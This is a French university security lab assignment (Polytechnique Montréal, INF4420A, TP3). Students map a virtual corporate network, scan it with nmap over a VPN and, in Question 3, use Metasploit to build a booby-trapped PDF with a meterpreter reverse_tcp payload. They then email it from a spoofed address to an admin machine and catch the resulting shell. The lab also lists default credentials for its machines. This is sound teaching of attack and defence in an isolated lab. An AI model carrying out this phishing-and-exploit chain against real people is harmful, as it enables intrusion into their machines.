ÉCOLE
POLYTECHNIQUE
MONTRÉAL

INF4420A – Sécurité Informatique

Travail Pratique 3

Automne 2018

Sommaire

Directives

Tous les travaux devront être remis avant 23h55 le jour de la remise sur le site Moodle du cours. À moins que cela ne soit explicitement demandé dans le sujet, vous ne devez remettre qu'un fichier PDF nommé selon le format *TPX-matricule1-matricule2.pdf*. Vous pouvez inclure des annexes dans votre rapport si vous jugez que cela améliore la lisibilité (code source, …)

- Voir la date de remise du rapport de ce laboratoire dans le plan du cours.
- Le travail devra être fait par équipe de deux. Toute exception (travail individuel, équipe de trois) devra être approuvée au préalable par le professeur.
- L'orthographe et la forme seront prises en compte pour chaque question.
- Indiquez toutes vos sources d'information, qu'elles soient humaines ou documentaires.

NOTE : POUR TOUTES LES QUESTIONS, VOUS DEVEZ MONTRER COMMENT VOUS AVEZ OBTENU LES RÉPONSES, INCLUANT DANS VOTRE RAPPORT LES CAPTURES D'ÉCRAN MONTRANT LES COMMANDES UTILISÉES ET LEUR SORTIE.

But

Le but de ce TP est de vous familiariser avec les aspects de sécurité impliqués dans la configuration d'un réseau corporatif typique.

Contexte

Le réseau étudié est celui de la compagnie *SecSI*, précurseur dans le domaine de la sécurité informatique. Il est un bon exemple de configuration standard et sécuritaire d'un réseau corporatif. Dans ce TP, veuillez considérer le réseau 192.168.214.0/24 comme publique, soit accessible à partir de l'Internet. Cette compagnie possède le nom de domaine `secsi.com` avec notamment un serveur mail `mail.secsi.com`.

Question 1 – Découverte du réseau [/1.5]

Lancez toutes les VMs du TP3 en suivant la démarche de la fiche pratique. Voici les mots de passe des machines :

Machine	Login	Password
Poste_internet	joe (cet utilisateur est sudoer)	joejoe
Toutes les autres machines Linux	root	toor
Poste_admin	Administrator	nimda
Web_Mail	admin	nimda
Web_Mail	joe	joejoe

a) En vous connectant en tant que *root* sur ces machines, découvrez comment toutes ces machines sont connectées entre elles (voir fiche pratique pour les commandes utiles). Faites un schéma de ce réseau le plus complet possible (machines, adresses IP, ports ouverts et services utiles). Vous pouvez utiliser Visio ou encore le site www.diagram.ly.

b) Vérifiez que l'adresse IP de la machine Poste_Internet est bien 123.45.67.128 et changez l'adresse au besoin (`sudo ifconfig eth0 123.45.67.128`).

c) On peut remarquer qu'un service de NAT est utilisé sur ce réseau (voir fichiers `masq` et `rules` dans le dossier `/etc/shorewall` du pare-feu externe). A quoi cela sert-il?

Question 2 – Nmap [/2]

Connectez-vous sur la machine Poste_internet et lancez un terminal.

a) Changez l'adresse IP de la machine Poste_Internet pour 123.45.67.128 (`sudo ifconfig eth0 123.45.67.128`). À quelle adresse IP correspondent le domaine `secsi.com` et le serveur mail `mail.secsi.com` (commande `nslookup`)?

Lancez cette commande en tant qu'utilisateur *joe* :

```
nmap –sT 192.168.211-214.* 123.45.67.* --open
```

b) Que fait cette commande ? Expliquez le résultat.

Lancez le client VPN :

```
sudo /etc/init.d/openvpn start
```

La passphrase est « #SeCsIlab# ».

[*] Attention la VM utilise un clavier US, le # est au-dessus du 3

Attendez une dizaine de secondes (le temps que le VPN se lance) puis relancez la commande :

```
nmap –sT 192.168.211-214.* 123.45.67.*--open
```

c) Que fait un service VPN? Expliquez le nouveau résultat.
d) Comparez les informations obtenues à l'aide de `nmap` à votre schéma du réseau. Expliquez les différences.
e) Quel est l'avantage du NAT contre un balayage de ports?
f) Pour les deux utilisations de `nmap`, dîtes à quel endroit du réseau il aurait fallu placer un IDS (Intrusion Detection System) pour détecter le balayage de ports.

Question 3 – L'email de trop [/1.5]

Démarrez le live-cd de Backtrack sur la machine Poste_internet (voir TP2).

Assurez-vous que l'adresse IP de la machine Poste_Internet est 123.45.67.128. Au besoin, changez à nouveau l'adresse avec la commande `ifconfig`.

Utilisation d'Armitage

Comme vu au TP2, lancez Armitage et essayez de prendre le contrôle des machines accessibles.

a) Quel est le résultat ?

Fermez Armitage.

Utilisation de msfconsole

Lancez la console Metasploit :

```
> msfconcole
```

[*] Utilisez la commande `help` pour aider à choisir les options, par exemple :

- Sélectionner un exploit : `use path/to/exploit`
- Voir les options disponibles : `show options`
- Assigner une option : `set OPTION valeur`
- Sélectionner un payload : `set PAYLOAD path/to/payload`
- Lancer l'exploit : `exploit`

Vous allez créer un fichier PDF contenant un exploit qui se connectera à votre machine et vous permettra de prendre le contrôle de la machine où il a été ouvert.

Sélectionner l'exploit `exploit/windows/fileformat/adobe_utilprintf`. Regardez les options possibles et choisissez le nom du fichier que vous voulez.

Sélectionner le *payload* `windows/meterpreter/reverse_tcp`.

b) Pourquoi choisir le payload `reverse_tcp` plutôt que `bind_tcp` ?

Remplir les options nécessaires à ce *payload* (le port est à votre choix, mais vous devez spécifier l'adresse IP (LHOST) de la machine attaquante) et lancer l'exploit. Notez bien où est créé le fichier.

Il faut maintenant créer un programme qui va attendre la connexion de l'exploit :

Sélectionnez l'exploit `exploit/multi/handler` avec le même *payload* qu'au-dessus. Rentrez les options nécessaires et en accord avec au-dessus. Lancez l'exploit.

La dernière étape consiste à envoyer le courriel :

Ouvrez un terminal et envoyez le PDF à root@secsi.com grâce à la commande `sendEmail` avec les options :

```
-f : adresse email source (fictive)
-t : adresse email cible
-s : adresse IP du serveur SMTP(voir question 2a)
-u : sujet de l'email
-a : chemin vers le fichier PDF
```

Lancez la commande puis tapez le corps du courriel, lorsque demandé. Enfin faire Ctrl-D.

Revenez sur la console où attend votre « handler ».

Connectez-vous à la machine Poste_admin et lancez Thunderbird. Vérifiez les courriels et ouvrez la pièce jointe.

c) Que se passe-t-il sur la machine Poste_admin ? Et sur Poste_internet ?

Sur Poste_internet, dans la fenêtre de votre « handler », lancez la commande :

```
run post/windows/manage/migrate
```

d) Que s'est-il passé sur la Poste_admin ? Expliquez.
e) Concluez quant à l'efficacité des mesures de sécurité face à un utilisateur imprudent.